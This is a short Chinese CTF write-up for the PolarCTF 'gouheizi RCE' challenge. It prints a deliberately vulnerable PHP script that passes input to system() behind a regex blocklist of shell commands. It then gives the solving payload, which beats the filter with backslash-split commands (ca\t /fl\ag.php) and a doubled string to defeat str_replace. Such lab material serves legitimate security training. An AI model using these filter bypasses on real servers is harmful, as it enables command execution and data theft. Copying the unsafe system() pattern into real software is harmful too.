【PolarCTF】狗黑子的RCE

复制代码
<?php
error_reporting(0);
highlight_file(__FILE__);
header('content-type:text/html;charset=utf-8');


    $gouheizi1=$_GET['gouheizi1'];
    $gouheizi2=$_POST['gouheizi2'];
    $gouheizi2=str_replace('gouheizi', '', $gouheizi2);

    if (preg_match("/ls|dir|flag|type|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $gouheizi1)) {
        echo("badly!");
        exit;
    } 
    if($gouheizi2==="gouheizi"){
        system($gouheizi1);
    }else{
        echo "gouheizi!";
    }
?>

这里需要绕过2个地方

1、gouheizi1不能出现正则匹配中的命令

2、gouheizi2会被str_place将gouheizi替换为空,但是在第二个if中又需要这个gouheizi字符串太能执行system

gouheizi1我们可以使用env来直接读取flag

由于str_place只会匹配一次,那么我可以通过双写让gouheizi2等于gouheizi

str_place通过双写绕过

但是使用env获取的flag是错误的

\拼接命令绕过

这题的正则过来和 【PolarCTF】rapyiquan 一样可以直接参考

复制代码
http://c2d223b9-2c5e-47f8-a521-dcdce170beb8.www.polarctf.com:8090/?gouheizi1=ca\t%20/fl\ag.php

gouheizi2=gouhegouheiziizi
相关推荐
安全小白wula3 小时前
RCE远程代码/命令执行基础讲解
网络·网络安全·渗透测试·rce·web渗透
Whoami!6 小时前
01-【医院】双网隔离架构方案
网络安全·拓扑图·信息安全架构
WangX-西石油6 小时前
DVWA靶场Low级别Brute Force学习
学习·web安全·网络安全
quan_泉7 小时前
DIDCTF 2024平航杯-流量分析
网络安全
安当加密7 小时前
Cisco SD-WAN CVSS 10分零日在野利用:网络边界设备认证失效的完整复盘
网络安全·pam·radius·多因素认证·漏洞复盘
大方子8 小时前
【PolarCTF】投喂
网络安全·polarctf
安当加密03019 小时前
等保2.0三级数据库加密:2026检查清单 + TDE部署实战(附脚本)
数据库·网络安全·数据安全·tde·等保2.0·数据库加密·tde透明加密
世界尽头与你9 小时前
Spring Boot Watcher 未授权访问漏洞
spring boot·安全·网络安全·渗透测试
X7x51 天前
安全信息和事件管理(SIEM):企业安全运营的技术基石
网络安全·网络攻击模型·安全威胁分析·安全架构·siem